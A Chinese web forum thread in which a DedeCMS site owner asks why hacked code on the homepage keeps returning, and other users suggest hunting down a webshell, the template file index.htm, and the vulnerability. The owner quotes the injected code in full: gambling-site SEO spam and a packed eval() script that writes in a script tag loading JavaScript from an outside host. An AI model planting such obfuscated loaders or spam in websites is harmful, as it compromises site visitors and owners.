fish 发表于 2017-8-25 11:42:45

织梦网站被黑了,首页看到一串代码,但是删不掉。

<noscript>
<title>电子游戏大全|电子游戏大全代理|电子游戏大全官网|电子游戏下载|mg电子游戏平台大全</title>
<meta name="keywords" content="电子游戏大全&#44;电子游戏大全代理&#44;电子游戏大全官网&#44;电子游戏下载&#44;mg电子游戏平台大全" />
<meta name="description" content="电子游戏大全【www&#46;o&#49;&#53;&#56;&#46;&#99;n】携手顶级博彩评级网&#49;&#48;&#48;&#48;亿巨资打造最顶级的电子游戏大全平台&#44;这里收集上百家资质一流的电子游戏大全平台&#44;均通过菲律宾博彩监察局合法经营认证&#44;并交纳&#56;&#54;亿的保证金&#44;尊敬的玩家尽可放心的电子游戏大全游戏!电子游戏大全&#44;电子游戏大全代理&#44;电子游戏大全官网&#44;电子游戏下载&#44;mg电子游戏平台大全。&#13;" />
</noscript>
<script type = "text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d=k||e(c);k=}];e=function(){return'\\w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p;}('3.4("<0 1=2://5.8.9/6.7></0>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
</script>

一更新网站,上面的代码就恢复了。

权利的游戏 发表于 2017-8-25 23:19:31

你这个查一下你的全局的相关文件,你一更新文章,就出现,就出现在那个全局文件。这个还得找到那个罪魁祸首,把那个shell文件给删除了。再或者重新装网站,备份数据,看下你的漏洞在何处

feihu 发表于 2017-8-25 23:23:44

最下面的那段代码被加密了,之前定位分析过这类的 加密代码,远程js文件。关键找到那个关键文件,删掉文件。补漏洞

璀璨李0804 发表于 2017-8-26 19:19:52

我是进来学习。

winking 发表于 2017-9-26 17:04:28

在你模板里吧,更新就出来了 index.htm

qw4530847 发表于 2017-10-14 17:31:21

牛逼了吧 解决了吗

qiaoqingyi 发表于 2017-11-4 18:36:36

检查是不是权限问题···
页: [1]
查看完整版本: 织梦网站被黑了,首页看到一串代码,但是删不掉。